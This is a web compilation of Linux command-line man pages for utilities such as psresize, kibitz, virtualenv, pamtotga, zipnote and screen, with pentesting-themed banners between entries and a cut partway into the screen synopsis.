               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1078 - Linux cli command psresize

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psresize and provides detailed information about the command psresize, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psresize.

NAME 🖥️ psresize 🖥️

rescales and centers a document for new output paper size

SYNOPSIS

psresize [ -wwidth ] [ -hheight ] [ -ppaper ] [ -Wwidth ] [ -Hheight ] [ -Ppaper ] [ -q ] [ infile [ outfile ] ]

DESCRIPTION

Psresize rescales and centres a document on a different size of paper. The input PostScript file should follow the Adobe Document Structuring Conventions.

The -w option gives the output paper width, and the -h option gives the output paper height, normally specified in cm or in to convert PostScript’s points (1/72 of an inch) to centimeters or inches. The -p option can be used as an alternative, to set the output paper size to a0, a1, a2, a3, a4, a5, b5, letter, legal, tabloid, statement, executive, folio, quarto or 10x14. The default output paper size is a4.

The -W option gives the input paper width, and the -H option gives the input paper height. The -P option can be used as an alternative, to set the input paper size. The default input paper size is a4.

Psresize normally prints the page numbers of the pages output; the -q option suppresses this.

EXAMPLES

The following command can be used to convert a document on A4 size paper to letter size paper:

psresize -PA4 -pletter in.ps out.ps

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

Psresize does not accept all DSC comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1079 - Linux cli command kibitz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kibitz and provides detailed information about the command kibitz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kibitz.

NAME 🖥️ kibitz 🖥️

allow two people to interact with one shell

SYNOPSIS

kibitz [ kibitz-args ] user [ program program-args… ]
kibitz [ kibitz-args ] user@host [ program program-args… ]

INTRODUCTION

kibitz allows two (or more) people to interact with one shell (or any arbitrary program). Uses include:

·
A novice user can ask an expert user for help. Using kibitz, the expert can see what the user is doing, and offer advice or show how to do it right.

·
By running kibitz and then starting a full-screen editor, people may carry out a conversation, retaining the ability to scroll backwards, save the entire conversation, or even edit it while in progress.

·
People can team up on games, document editing, or other cooperative tasks where each person has strengths and weaknesses that complement one another.

USAGE

To start kibitz, user1 runs kibitz with the argument of the user to kibitz. For example:

kibitz user2

kibitz starts a new shell (or another program, if given on the command line), while prompting user2 to run kibitz. If user2 runs kibitz as directed, the keystrokes of both users become the input of the shell. Similarly, both users receive the output from the shell.

To terminate kibitz it suffices to terminate the shell itself. For example, if either user types ^D (and the shell accepts this to be EOF), the shell terminates followed by kibitz.

Normally, all characters are passed uninterpreted. However, if the escape character (described when kibitz starts) is issued, the user may talk directly to the kibitz interpreter. Any Expect(1) or Tcl(3) commands may be given. Also, job control may be used while in the interpreter, to, for example, suspend or restart kibitz.

Various processes can provide various effects. For example, you can emulate a two-way write(1) session with the command:

kibitz user2 sleep 1000000

ARGUMENTS

kibitz takes arguments, these should also be separated by whitespace.

The -noproc flag runs kibitz with no process underneath. Characters are passed to the other kibitz. This is particularly useful for connecting multiple interactive processes together. In this mode, characters are not echoed back to the typist.

-noescape disables the escape character.

-escape* char* sets the escape character. The default escape character is ^].

-silent turns off informational messages describing what kibitz is doing to initiate a connection.

-tty* ttyname* defines the tty to which the invitation should be sent.

If you start kibitz to user2 on a remote computer, kibitz performs a rlogin to the remote computer with your current username. The flag -proxy* username* causes rlogin to use username for the remote login (e.g. if your account on the remote computer has a different username). If the -proxy flag is not given, kibitz tries to determine your current username by (in that order) inspecting the environment variables USER and LOGNAME, then by using the commands whoami and logname.

The arguments -noescape and -escape can also be given by user2 when prompted to run kibitz.

MORE THAN TWO USERS

The current implementation of kibitz explicitly understands only two users, however, it is nonetheless possible to have a three (or more) -way kibitz, by kibitzing another kibitz. For example, the following command runs kibitz with the current user, user2, and user3:

% kibitz user2 kibitz user3

Additional users may be added by simply appending more “kibitz user” commands.

The xkibitz script is similar to kibitz but supports the ability to add additional users (and drop them) dynamically.

CAVEATS

kibitz assumes the 2nd user has the same terminal type and size as the 1st user. If this assumption is incorrect, graphical programs may display oddly.

kibitz handles character graphics, but cannot handle bitmapped graphics. Thus,

	% xterm -e kibitz    will work
	% kibitz xterm       will not work

However, you can get the effect of the latter command by using xkibitz (see SEE ALSO below). kibitz uses the same permissions as used by rlogin, rsh, etc. Thus, you can only kibitz to users at hosts for which you can rlogin. Similarly, kibitz will prompt for a password on the remote host if rlogin would.

If you kibitz to users at remote hosts, kibitz needs to distinguish your prompt from other things that may precede it during login. (Ideally, the end of it is preferred but any part should suffice.) If you have an unusual prompt, set the environment variable EXPECT_PROMPT to an egrep(1)-style regular expression. Brackets should be preceded with one backslash in ranges, and three backslashes for literal brackets. The default prompt r.e. is “($|%|#) “.

kibitz requires the kibitz program on both hosts. kibitz requires expect(1).

By comparison, the xkibitz script uses the X authorization mechanism for inter-host communication so it does not need to login, recognize your prompt, or require kibitz on the remote host. It does however need permission to access the other X servers.

BUGS

An early version of Sun’s tmpfs had a bug in it that causes kibitz to blow up. If kibitz reports “error flushing …: Is a directory” ask Sun for patch #100174.

If your Expect is not compiled with multiple-process support (i.e., you do not have a working select or poll), you will not be able to run kibitz.

ENVIRONMENT

The environment variable SHELL is used to determine the shell to start, if no other program is given on the command line.

If the environment variable EXPECT_PROMPT exists, it is taken as a regular expression which matches the end of your login prompt (but does not otherwise occur while logging in). See also CAVEATS above.

If the environment variables USER or LOGNAME are defined, they are used to determine the current user name for a kibitz to a remote computer. See description of the -proxy option in ARGUMENTS above.

SEE ALSO

Tcl(3), libexpect(3), xkibitz(1)
“Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs” by Don Libes, O’Reilly and Associates, January 1995.
“Kibitz - Connecting Multiple Interactive Programs Together”, by Don Libes, Software - Practice & Experience, John Wiley & Sons, West Sussex, England, Vol. 23, No. 5, May, 1993.

AUTHOR

Don Libes, National Institute of Standards and Technology

kibitz is in the public domain. NIST and I would appreciate credit if this program or parts of it are used.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1080 - Linux cli command ppmtosixel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtosixel and provides detailed information about the command ppmtosixel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtosixel.

.

NAME 🖥️ ppmtosixel 🖥️

convert a PPM image to DEC sixel format

SYNOPSIS

ppmtosixel

[-raw]

[-margin]

[-7bit]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtosixel reads a PPM image as input and produces sixel commands (SIX) as output. The output is formatted for color printing (e.g. for a DEC LJ250 color inkjet printer) or for color display on DEC VT terminals and terminal emulators (VT240 and beyond).

If RGB values from the PPM file do not have maxval=100, ppmtosixel rescales them to maxval 100. A printer control header and a color assignment table begin the SIX file. Image data is in a compressed format by default. A printer control footer ends the image file.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtosixel recognizes the following command line options:

-raw
If you specify this, each pixel will be explicitly described in the image file. If -raw is not specified, output will default to compressed format in which identical adjacent pixels are replaced by “repeat pixel” commands. A raw file is often an order of magnitude larger than a compressed file and prints much slower.

-margin
If you don’t specify -margin, the image will start at the left margin (of the window, paper, or whatever). If you do specify -margin, a 1.5 inch left margin will offset the image.

-7bit
If you don’t specify -7bit, each control code will be expressed as a single, 8-bit “C1” character. If you do specify -7bit, each control code will be expressed using two, 7-bit “C0” characters. (See C0 and C1 control codes for more information.) In other words, -7bit produces more portable sixel files, and its absence produces smaller sixel files.

This option was new in Netpbm 11.04 (September 2023).

PRINTING

Generally, sixel files must reach the printer unfiltered. Use the lpr -x option or cat filename > /dev/tty0?.

LIMITATIONS

Upon rescaling, truncation of the least significant bits of RGB values may result in poor color conversion. If the original PPM maxval was greater than 100, rescaling also reduces the image depth. While the actual RGB values from the ppm file are more or less retained, the color palette of the LJ250 may not match the colors on your screen. This seems to be a printer limitation.

SEE ALSO

ppm(1)

AUTHOR

Copyright (C) 1991 by Rick Vinci.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtosixel.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1081 - Linux cli command virtualenv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command virtualenv and provides detailed information about the command virtualenv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the virtualenv.

NAME 🖥️ virtualenv 🖥️

Python virtual environment creator

SYNOPSIS

virtualenv [–version] [–with-traceback] [-v | -q] [–app-data APP_DATA] [–clear-app-data] [–discovery {builtin}] [-p py] [–creator {builtin,cpython3-posix,venv}] [–seeder {app-data,pip}] [–no-seed] [–activators comma_sep_list] [–clear] [–system-site-packages] [–symlinks | –copies] [–no-download | –download] [–extra-search-dir d [d …]] [–pip version] [–setuptools version] [–wheel version] [–no-pip] [–no-setuptools] [–no-wheel] [–symlink-app-data] [–prompt prompt] [-h] dest

DESCRIPTION

The virtualenv utility creates virtual Python instances, each invokable with its own Python executable. Each instance can have different sets of modules, installable via easy_install. Virtual Python instances can also be created without root access.

optional arguments:

–version
display the version of the virtualenv package and it’s location, then exit

–with-traceback
on failure also display the stacktrace internals of virtualenv (default: False)

–app-data APP_DATA
a data folder used as cache by the virtualenv (default: <temp folder>)

–clear-app-data
start with empty app data folder (default: False)

-h, –help
show this help message and exit

verbosity:

verbosity = verbose - quiet, default INFO, mapping => CRITICAL=0, ERROR=1, WARNING=2, INFO=3, DEBUG=4, NOTSET=5

-v, –verbose
increase verbosity (default: 2)

-q, –quiet
decrease verbosity (default: 0)

discovery:

discover and provide a target interpreter

–discovery {builtin}
interpreter discovery method (default: builtin)

-p py, –python py
target interpreter for which to create a virtual (either absolute path or identifier string) (default: /usr/bin/python3)

creator:

options for creator builtin

–creator {builtin,cpython3-posix,venv}
create environment via (builtin = cpython3-posix) (default: builtin)

dest
directory to create virtualenv at

–clear
remove the destination directory if exist before starting (will overwrite files otherwise) (default: False)

–system-site-packages
give the virtual environment access to the system site-packages dir (default: False)

–symlinks
try to use symlinks rather than copies, when symlinks are not the default for the platform (default: True)

–copies, –always-copy
try to use copies rather than symlinks, even when symlinks are the default for the platform (default: False)

seeder:

options for seeder app-data

–seeder {app-data,pip}
seed packages install method (default: app-data)

–no-seed, –without-pip
do not install seed packages (default: False)

–download
pass to enable download of the latest pip, setuptools, and wheel from PyPI (default: False)

–no-download, –never-download
pass to disable download of the latest pip, setuptools, and wheel from PyPI (default: True)

–extra-search-dir d [d …]
a path containing wheels the seeder may also use beside bundled (can be set 1+ times) (default: [])

–pip version
pip version to install, bundle for bundled (default: latest)

–setuptools version
setuptools version to install, bundle for bundled (default: latest)

–wheel version
wheel version to install, bundle for bundled (default: latest)

–no-pip
do not install pip (default: False)

–no-setuptools
do not install setuptools (default: False)

–no-wheel
do not install wheel (default: False)

–symlink-app-data
symlink the python packages from the app-data folder (requires seed pip>=19.3) (default: False)

activators:

options for activation scripts

–activators comma_sep_list
activators to generate - default is all supported (default: bash,cshell,fish,powershell,python,xonsh)

–prompt prompt
provides an alternative prompt prefix for this environment (default: None)

config file $HOME/.config/virtualenv/virtualenv.ini (change via env var VIRTUALENV_CONFIG_FILE)

AUTHORS

This man-page was created using help2man and then updated by Scott Kitterman <[email protected]> and is licensed under the same terms as virtualenv.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1082 - Linux cli command pamtotga

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtotga and provides detailed information about the command pamtotga, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtotga.

.

NAME 🖥️ pamtotga 🖥️

convert a Netpbm image to a TrueVision Targa file

SYNOPSIS

pamtotga [-mono|-cmap|-cmap16|-rgb] [-norle] [-name=name [-verhose] [pamfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtotga reads a PBM, PGM, PPM, or PAM image as input and produces a TrueVision Targa file as output. The PAM image may be either a BLACKANDWHITE, GRAYSCALE, RGB, or RGB_ALPHA image.

To create a TGA image with transparency (i.e. with a transparency mask), use RGB_ALPHA PAM input. Some Netpbm programs that generate images with transparency masks generate them in that format. For another way to create the proper input stream, see pamstack(1) .

It is unclear that anything except pamtotga knows about TGAs with transparency. The history behind this feature of pamtotga is not clear. The format pamtotga produces is simply the same as an ordinary RGB TGA image except with a 4th plane added for transparency. The PixelSize field of the TGA header specifies 32 bits instead of 24 and the raster has an extra byte added to each pixel, at the tail end. The value of that byte has the same meaning as in a PAM image with maxval 255.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtotga recognizes the following command line options:

-cmap
Make output Targa file use a color map (palette) to make the output smaller.

Each color in the color map is 3 bytes, 8 bits each of red, green, and blue, unless the input is black and white or grayscale, in which case each color in the palette is represented by one byte.

Input must contain no more than 256 distinct colors and must not contain transparency information.

(The transparency limitation is not a limitation of the format, but of pamtotga. Implementing a color map that contains transparency information is harder to implement).

-cmap16
Same as -cmap, except a color map entry for full color input is 5 bits each of red, green, and blue, stored as two bytes (16 bits).

Restrictions are the same as for -cmap.

This option was new in Netpbm 10.85 (December 2018).

-mono
Make output Targa file of type 8 bit monochrome. Input must be PBM or PGM or a PAM with BLACKANDWHITE or GRAYSCALE tuple type. See -cmap.

You may specify at most one of -mono, -cmap, and -rgb. If you specify neither, the default image type is the most highly constrained compatible type is used, where monochrome is more constrained than colormapped which is in turn more constrained than unmapped.

-rgb
Make output Targa file of type 24 bit unmapped color. See -cmap.

-norle
Do not use run-length encoding in the output Targa file. Run-length encoded files are smaller, but Some Targa readers can’t read run-length encoded files.

**-name=**name
This is the value for the image ID stated in the header of the TGA output file. pamtotga truncates it as necessary to meet TGA standards.

By default, pamtotga uses the input file name argument, up to the first period (or the whole thing if there is no period). It truncates it as necessary to meet TGA standards. If you specify (or default to) Standard Input, pamtotga omits the image ID from the TGA header.

-verbose
This causes pamtotga to issues messages about the conversion process.

SEE ALSO

tgatoppm(1) , pnmquant(1) , pamstack(1) , pam(1) pnm(1)

HISTORY

This program was called ppmtotga until Netpbm 10.6 (July 2002). That was always a misnomer, though, because a PPM class program would not be able to tell the difference between PGM and PPM input (it would all look like PPM), and thus could not choose the output Targa image type based on the type of the input. Netpbm 10.6 also added the ability to handle a transparency channel, so it became a PAM class program.

In Netpbm 10.15 (April 2003), the program became the first in the Netpbm package to recognize a transparency channel in a PAM. It recognized tuple type “RGBA”. But when this kind of PAM image was later added to the PAM specification, it was specified with tuple type “RGB_ALPHA”. So in Netpbm 10.26 (January 2005), pamtotga changed to recognize “RGB_ALPHA” instead of “RGBA”.

AUTHOR

Copyright (C) 1989, 1991 by Mark Shand and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtotga.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1083 - Linux cli command xkbvleds

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbvleds and provides detailed information about the command xkbvleds, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbvleds.

NAME 🖥️ xkbvleds 🖥️

XKB extension user utility

SYNOPSIS

xkbvleds [-indpy <name>] [-watch <leds>] [[-+]automatic] [[-+]explicit] [[-+]name] [[-+]real] [[-+]virtual] [-intersection] [-union]

DESCRIPTION

This program is used to display the state of LEDs on an XKB keyboard. It reports the changes in the fundamental components of the XKB state which includes the effective compatibility state. The default set of LEDs is -union +name +automatic +real.

OPTIONS

-indpy <name>
Mask of LEDs to watch

-watch <leds>
turn on synchronization

∓automatic
(Don’t) watch automatic LEDs

∓explicit
(Don’t) watch explicit LEDs

∓name
(Don’t) watch named LEDs

∓real
(Don’t) watch real LEDs

∓virtual
(Don’t) watch virtual LEDs

-intersection
Watch only LEDs in all desired sets

-union
Watch LEDs in any desired sets

-help
print list of options and exit

-version
print program version and exit

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1084 - Linux cli command mdb-count

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-count and provides detailed information about the command mdb-count, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-count.

NAME 🖥️ mdb-count 🖥️

count** - Get listing of tables in an MDB database

SYNOPSIS

mdb-count file table
mdb-count --version

DESCRIPTION

mdb-count is a utility program distributed with MDB Tools.

It outputs the number of rows in a table**.**

OPTIONS

–version
Print the mdbtools version and exit.

NOTES

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file**. Default is CP1252. See iconv(1).**

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

HISTORY

mdb-count first appeared in MDB Tools 0.9.

SEE ALSO

mdb-array(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-count utility was written by Kane O’Donnell.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1085 - Linux cli command icuexportdata

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command icuexportdata and provides detailed information about the command icuexportdata, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the icuexportdata.

NAME 🖥️ icuexportdata 🖥️

Writes text files with Unicode properties data from ICU.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1086 - Linux cli command zipnote

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipnote and provides detailed information about the command zipnote, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipnote.

NAME 🖥️ zipnote 🖥️

write the comments in zipfile to stdout, edit comments and rename files in zipfile

SYNOPSIS

zipnote [-w] [-b path] [-h] [-v] [-L] zipfile

ARGUMENTS

zipfile Zipfile to read comments from or edit.

OPTIONS

-w
Write comments to a zipfile from stdin (see below).

-b path
Use path for the temporary zip file.

-h
Show a short help.

-v
Show version information.

-L
Show software license.

DESCRIPTION

zipnote writes the comments in a zipfile to stdout. This is the default mode. A second mode allows updating the comments in a zipfile as well as allows changing the names of the files in the zipfile. These modes are described below.

EXAMPLES

To write all comments in a zipfile to stdout use for example

     zipnote foo.zip > foo.tmp

This writes all comments in the zipfile foo.zip to the file foo.tmp in a specific format.

If desired, this file can then be edited to change the comments and then used to update the zipfile.

     zipnote -w foo.zip < foo.tmp

The names of the files in the zipfile can also be changed in this way. This is done by following lines like

     "@ name"

in the created temporary file (called foo.tmp here) with lines like

     "@=newname"

and then using the -w option as above.

BUGS

The temporary file format is rather specific and zipnote is rather picky about it. It should be easier to change file names in a script.

Does not yet support large (> 2 GB) or split archives.

SEE ALSO

zip(1), unzip(1)

AUTHOR

Info-ZIP

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1087 - Linux cli command screen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command screen and provides detailed information about the command screen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the screen.

NAME 🖥️ screen 🖥️

screen manager with VT100/ANSI terminal emulation

SYNOPSIS

screen [ -options ] [ cmd [ args ] ]
screen -r [[pid**.]tty[.host]]
screen -r sessionowner
/[[pid.]tty[.**host]]
